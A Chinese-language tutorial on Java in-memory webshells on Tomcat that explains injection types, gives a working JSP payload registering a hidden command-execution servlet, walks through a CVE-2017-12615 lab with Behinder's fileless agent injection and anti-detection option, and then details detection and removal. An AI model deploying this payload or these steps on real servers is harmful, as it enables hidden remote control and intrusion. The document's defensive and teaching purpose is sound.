Java 内存马的实现、检测与反制技术教学文档
概述
1.1 Webshell 发展历程
Webshell 的演进体现了攻防双方的持续对抗,其发展主要经历了五个阶段:
-
大马 (功能丰富的Webshell):
早期攻击者倾向于上传功能强大、界面友好、代码量大的Webshell,类似于迷你的服务器控制面板,便于进行文件管理、命令执行等操作。由于其代码特征明显,易被安全产品查杀。 -
小马拉大马:
为绕过基于特征的检测,攻击者采用“小马”策略。先上传一个代码量小、功能单一的“小马”,其核心任务是从远程服务器下载并执行功能强大的“大马”。服务器上仅存在不易被检测的小马文件,大马则在内存中运行或临时存在,提高了隐蔽性。 -
一句话木马:
将Webshell压缩到极致,仅剩一行代码,功能是接收并执行外部命令。文件体积极小,难以被传统的特征库捕捉。 -
加密一句话木马:
当一句话木马的固定特征被识别后,攻击者开始对代码进行各种编码(如Base64、异或加密),使得静态代码无法被肉眼或简单扫描工具识别,必须在运行时解密执行。 -
加密内存马 (当前主流):
为完全摆脱文件落地,攻击者利用服务器漏洞直接在内存中注入恶意组件(如Filter、Servlet),该组件同样经过加密和混淆。由于恶意代码从未写入磁盘,彻底规避了基于文件的安全检测,是当前安全防御面临的主要挑战。
1.2 什么是内存马
内存马,又称无文件WebShell,是一种在服务器内存中运行的恶意程序。与传统的WebShell不同,它不落地磁盘,而是利用Java ClassLoader机制、反射调用、动态字节码生成等方式将恶意逻辑加载进内存执行,因此常规的文件系统扫描和杀毒软件难以发现。
原理简述:在Web组件或应用程序中,注册一层访问路由,访问者通过此路由执行控制器中的恶意代码,类似于MVC架构。
特点:
- 不写入磁盘,难以被文件监控系统发现。
- 服务器重启后会消失(非持久化)。
- 难以通过常规方法检测和清除。
- 可以绕过Web应用防火墙(WAF)的检测。
1.3 内存马类型
根据注入方式,主要分为两类:
1. Servlet-API型(核心逻辑:动态注册 Web 组件)
利用命令执行等能力,动态注册新的 Listener、Filter 或 Servlet 等组件来执行恶意代码,全程不落地文件。特定框架(如Spring Controller内存马)、容器(如Tomcat Valve内存马)原理类似。
| 类型 | 说明 | 常见目标 | 示例 |
|---|---|---|---|
| Servlet 内存马 | 注入自定义Servlet对象到Tomcat内存结构,注册到Servlet容器。 | Tomcat, Spring Boot | 通过反射获取StandardContext.addServlet()注册恶意Servlet。 |
| Filter 内存马 | 动态向Web容器注册恶意Filter,拦截HTTP请求执行恶意逻辑。 | Tomcat, Spring, JBoss | 注册恶意Filter处理器,常用于命令执行。 |
| Listener 内存马 | 注入自定义监听器(Listener),利用容器事件触发恶意操作。 | Tomcat, Spring Boot | 注册恶意ServletRequestListener。 |
| Valve 内存马 | 利用Tomcat的Valve链机制注入恶意Valve,几乎不可见。 | Tomcat | 修改StandardContext.pipeline注入自定义Valve。 |
| Controller 内存马 | 通过SpringMVC动态注册恶意Controller路由。 | Spring Boot, SpringMVC | 反射注册RequestMappingHandlerMapping新路径。 |
2. 字节码增强型(核心逻辑:修改已有代码)
不新增组件,而是利用Java的Instrumentation接口,动态修改服务器中已存在类的字节码,在原有逻辑中插入恶意代码,实现“无文件注入”。
| 类型 | 说明 | 目标 | 特点 |
|---|---|---|---|
| Agent 内存马 | 利用java.lang.instrument.Instrumentation注入恶意类到JVM。 |
任意Java应用 | 无需依赖Web环境,可修改任意类行为。 |
| Transformer 内存马 | 通过ClassFileTransformer修改已加载类的字节码。 |
JVM层 | 通常用于修改安全检测或添加隐藏逻辑。 |
1.4 内存马的应用场景
注入内存马的前提是已获得RCE(远程代码执行)能力。内存马是攻击的第二阶段,用于持久化和隐蔽化。
典型攻击流程:
| 阶段 | 攻击行为 | 目的 |
|---|---|---|
| 0. 侦察 | 发现目标应用存在RCE漏洞的组件(如Fastjson, Shiro, Spring)。 | 确定攻击路径。 |
| 1. 入侵 (RCE) | 构造恶意Payload,触发RCE漏洞。 | 在目标服务器上获得第一次任意代码执行能力。 |
| 2. 注入 (Injection) | 利用RCE执行JSP注入代码,将恶意代码动态注入Tomcat内存并注册(如/shell恶意Servlet)。 |
将一次性RCE升级为永久性、隐蔽性后门。 |
| 3. 远控 (C2) | 直接访问 http://target.com/shell?cmd=ls。 |
隐蔽控制服务器,进行内网渗透、数据窃取。 |
背景知识
1. Java Web 三大组件
在Java Web中,三大组件分别是Servlet、Filter、Listener。
| 组件 | 作用 | 生命周期触发点 |
|---|---|---|
| Servlet | 处理客户端请求并生成响应。是核心的请求处理器。 | 客户端请求匹配到其URL模式时。 |
| Filter | 拦截请求和响应,进行预处理和后处理(如日志、编码、权限校验)。可形成“过滤器链”。 | 客户端请求匹配到其URL模式时,在Servlet执行之前和之后。 |
| Listener | 监听Web应用、Session、Request等对象的生命周期事件或属性变化,执行相应操作。 | 特定事件发生时(如应用启动/销毁、Session创建/销毁)。 |
2. Tomcat
Tomcat本质是 HTTP服务器 + Servlet容器。它将HTTP请求文本接收并解析,封装成HttpServletRequest对象传递给Servlet;同时将响应信息封装为HttpServletResponse对象,交还Tomcat转换为响应文本发送给浏览器。
Tomcat架构简述:一个Server包含多个Service。一个Service包含多个Connector(处理网络连接)和一个Container(处理Servlet)。Container外层是Engine, Engine对应多个Host(虚拟主机),一个Host对应多个Context(Web应用),一个Context对应多个Wrapper(Servlet)。Mapper组件负责维护容器组件与访问路径的映射关系。
3. Java反射
反射允许在运行时动态地:
- 获取一个类的所有成员变量和方法。
- 创建一个类的对象。
- 操作对象的成员变量、调用其方法、判断其所属类。
在注入内存马的过程中,反射机制至关重要,例如注入Servlet型内存马时,需要用反射获取当前的StandardContext,然后将恶意的Wrapper(Servlet)添加到当前Context的children中。
4. Java Instrumentation
Instrumentation 是Java提供的JVM接口,提供了一系列查看和操作Java类定义的方法,如修改类的字节码、向classloader的classpath加入jar文件等。开发者可通过它操作和监控JVM内部状态,实现程序监控、AOP、热部署等功能。
Java Agent:一种特殊的Java程序(Jar文件),是Instrumentation的客户端。它必须依附在一个Java应用程序(JVM)上运行。有两种启动方式:
- JVM启动方式 (Premain):JVM启动时,在main函数执行前加载。需添加
-javaagent:jar路径启动参数。 - Attach方式 (Agentmain):JVM已经运行后,通过另一个程序调用
VirtualMachine.attach动态加载。这是内存马注入的常见方式,因为它能“空降”到运行中的服务器。
内存马实现 (以Tomcat为例)
Servlet型内存马
环境:Tomcat 9.0.112, JDK 1.8
目标:注入一个恶意的Servlet,通过URL /shell?cmd=whoami 执行系统命令。
实现步骤:
- 创建Maven Web项目:使用
maven-archetype-webapp原型。 - 添加依赖:在
pom.xml中添加javax.servlet-api和tomcat-catalina依赖(scope为provided)。 - 编写注入JSP (Payload):
<%@ page import="java.io.IOException" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.io.PrintWriter" %> <% // 第一部分:定义恶意Servlet Servlet servlet = new Servlet() { @Override public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException { String cmd = req.getParameter("cmd"); boolean isLinux = !System.getProperty("os.name").toLowerCase().contains("win"); String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; PrintWriter out = res.getWriter(); out.println(output); out.flush(); out.close(); } // ... 其他Servlet方法空实现 }; // 第二部分:通过反射将Servlet注册到Tomcat上下文 ServletContext ctx = request.getServletContext(); Field f = ctx.getClass().getDeclaredField("context"); f.setAccessible(true); Object appCtx = f.get(ctx); Field f2 = appCtx.getClass().getDeclaredField("context"); f2.setAccessible(true); StandardContext standardCtx = (StandardContext) f2.get(appCtx); // 创建Wrapper并添加 org.apache.catalina.Wrapper wrapper = standardCtx.createWrapper(); wrapper.setServlet(servlet); wrapper.setName("shell"); wrapper.setLoadOnStartup(1); standardCtx.addChild(wrapper); // 添加映射 standardCtx.addServletMappingDecoded("/shell", "shell"); out.println("Servlet Memory Shell Injected Successfully!"); %> - 测试:部署JSP文件并访问其URL以触发注入。成功后,访问
/shell?cmd=whoami即可执行命令。服务器重启后内存马消失。
Filter型内存马
相比Servlet型,Filter型内存马更隐蔽,因为它能拦截所有匹配的请求,而不仅限于特定URL。
核心步骤:
- 通过反射获取当前Web应用的
StandardContext。 - 创建自定义的
Filter类,在其doFilter方法中实现恶意逻辑(如命令执行)。 - 创建
FilterDef对象,设置Filter名、Filter类(匿名内部类)、FilterMap(设置/*拦截所有请求)。 - 通过反射获取
ApplicationFilterConfig对象,并将其加入FilterConfigs中。 - 将
FilterDef加入StandardContext的FilterDefs,将FilterMap加入FilterMaps。
注入成功后,访问应用内的任何路径,只要请求经过该Filter链,都会触发恶意代码执行。
Listener型内存马
Listener在请求到达Filter之前触发,因此隐蔽性更高。通常实现ServletRequestListener接口,在requestInitialized或requestDestroyed方法中插入恶意代码。
核心步骤:
- 通过反射获取
StandardContext。 - 创建实现
ServletRequestListener接口的匿名类。 - 调用
standardContext.addApplicationEventListener(listener)添加监听器。
注入后,每当有新的HTTP请求到达,监听器的恶意代码便会执行。
Filter vs Listener 内存马对比:
| 特性 | Filter 内存马 | Listener 内存马 |
|---|---|---|
| 触发顺序 | 较早(在Servlet之前) | 最早(在Filter之前) |
| 中断请求 | 容易(在doFilter中直接return) | 较难(需通过Response对象手动flush) |
| 注册复杂度 | 较高(需操作FilterDef, FilterMap, FilterConfig) | 较低(直接addEventListener) |
| 隐蔽性 | 高(Web.xml不可见) | 极高(更底层的事件监听) |
靶场复现 (CVE-2017-12615)
环境:vulhub tomcat/CVE-2017-12615 (Tomcat 8.5.19)
漏洞原理:当Tomcat运行在Windows且启用了HTTP PUT方法(readonly=false),攻击者可通过构造特殊数据包上传包含任意代码的JSP文件(利用文件系统特性绕过后缀限制)。
攻击流程:
- 利用PUT请求上传包含冰蝎Webshell的JSP文件。
- 使用冰蝎客户端连接上传的Webshell,获取服务器控制权。
- 在冰蝎客户端中,使用“内存马”功能,选择“AgentNoFile”方式注入内存马。
- 注入类型:
- Agent:传统方式,需上传代理Jar文件到临时目录,可能留下文件痕迹。
- AgentNoFile (推荐):无文件注入,利用内存文件系统技术,全程不落地,隐蔽性极高。
- 注入路径:可自定义(如
/memshell),也可伪装成常见静态资源路径(如/favicon.ico)。 - 防检测功能:勾选后,冰蝎会尝试修改JVM内部变量,阻止其他工具(如Arthas)再次Attach到该JVM进程,增强隐蔽性但自身也无法再注入。
- 注入类型:
- 注入成功后,可通过注入的路径(如
/memshell)直接连接内存马,实现持久化控制。
内存马检测与排查
核心挑战:对于Spring Boot Jar包启动的服务,简单重启即可清除内存马。若不允许重启,则查杀难度大。因此,内存马查杀主要针对Tomcat等Servlet容器环境。
查杀方法介绍
方法1、Arthas (仅排查)
阿里提供的JVM诊断工具。通过人工分析内存,查看关键业务接口的实现类或Servlet组件的字节码,判断是否存在恶意逻辑。提供了sc(查看已加载类)、jad(反编译)、dump(导出类字节码)等命令,是功能强大、自由度高的排查工具。
方法2、Copagent (仅排查,适用于JDK1.8)
基于Arthas编写,能自动分析JVM中所有Class,根据危险注解、类名等信息dump可疑组件,供人工反编译分析。它通过判断类是否在磁盘上有对应文件、类中是否包含恶意行为关键字来辅助判断。
方法3、java-memshell-scanner (可查可杀,推荐用于Tomcat)
一个JSP脚本,通过反射获取StandardContext,进而遍历servletMaps、filterMaps、listeners等列表。通过分析组件名称、对应的Class是否存在、ClassLoader等信息来识别内存马,并提供kill选项进行清除。注意:此方法不适用于Jar包启动的服务。
方法4、Dump内存分析
当Agent无法Attach(如遇到反检测手段)时,可dump整个JVM堆内存进行分析。
- 使用命令:
jmap -dump:format=b,file=<filename> <pid> - 分析思路:
- 搜索字节码特征:在dump文件中搜索字节码文件头
cafebabe的十六进制或base64编码(yv66vg)。 - 搜索敏感关键词:如
shell、memshell、eval、inject、_jsp$1等。 - 搜索访问记录:在内存字符串中查找可疑的HTTP请求路径(如
/memshell)。 - 还原分析:将找到的base64或十六进制编码的类数据还原为.class文件,用反编译工具(如JADX)分析。
- 搜索字节码特征:在dump文件中搜索字节码文件头
查杀思路(可疑特征)
- 继承可疑接口:类实现了可能用于Webshell的接口,如
javax.servlet.Servlet、javax.servlet.Filter、javax.servlet.ServletRequestListener、org.springframework.web.servlet.HandlerInterceptor等。 - 类名包含敏感词:类名中包含
shell、memshell、godzilla、behinder、agent等关键字。 - 高危ClassLoader加载:正常的Servlet-API组件通常由WebappClassLoader加载。若类由
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader、com.sun.org.apache.bcel.internal.util.ClassLoader(常见于反序列化利用)或org.apache.jasper.servlet.JasperLoader(JSP编译)加载,则高度可疑。 - 无对应磁盘文件:ClassLoader路径下找不到对应的
.class文件。内存马通常由运行时动态生成的字节码或Agent注入,不在磁盘上。 - 匿名内部类:类名中包含
$符号的匿名内部类。攻击者构造内存马时常用匿名类实现接口,如org.apache.jsp.shell_jsp$1。
排查示例
示例1:哥斯拉注入的Servlet/Filter内存马
- 使用java-memshell-scanner:直接运行JSP脚本,可快速扫描出由
org.apache.jasper.servlet.JasperLoader加载且磁盘无对应文件的恶意Servlet/Filter。 - 使用Arthas:
sc *.Servlet和sc *.Filter查看所有相关类。- 关注由
JasperLoader加载的类,用jad命令反编译查看其service或doFilter方法实现。 - 通过
sc -d查看类的详细信息,找到加载它的JSP文件路径,溯源删除源文件。
- 使用Copagent:运行后自动扫描并导出可疑类,人工反编译分析。
示例2:冰蝎Java Agent注入的内存马
- 使用Arthas:
- 重点关注Agent常修改的类,如
javax.servlet.http.HttpServlet、org.apache.catalina.core.ApplicationFilterChain。 - 使用
jad javax.servlet.http.HttpServlet反编译,检查service等方法是否被插入额外逻辑(如判断URI是否为/memshell并执行恶意代码)。
- 重点关注Agent常修改的类,如
- Dump内存分析:
- 在dump文件中搜索base64编码的字节码特征
yv66。 - 找到可疑的base64串,还原为.class文件后用JADX反编译,分析注入逻辑。
- 搜索内存中的Web访问记录(如
POST /memshell),定位内存马路径。
- 在dump文件中搜索base64编码的字节码特征
总结
内存马技术是Web安全攻防中的高级威胁,其无文件特性对传统防御手段构成严峻挑战。防御方需要深入理解其原理(动态注册组件、字节码增强)、掌握多种检测方法(从Agent工具动态分析到内存Dump静态分析),并熟悉其常见特征(非常规ClassLoader、匿名内部类、磁盘无文件等)。有效的防御需要结合运行时应用自我保护(RASP)、行为监控、严格的权限控制以及定期的安全巡检和应急演练。无论内存马如何隐蔽,只要在内存中运行,就必然会留下痕迹,关键在于防守方是否具备足够的技术能力和排查工具来发现并清除这些痕迹。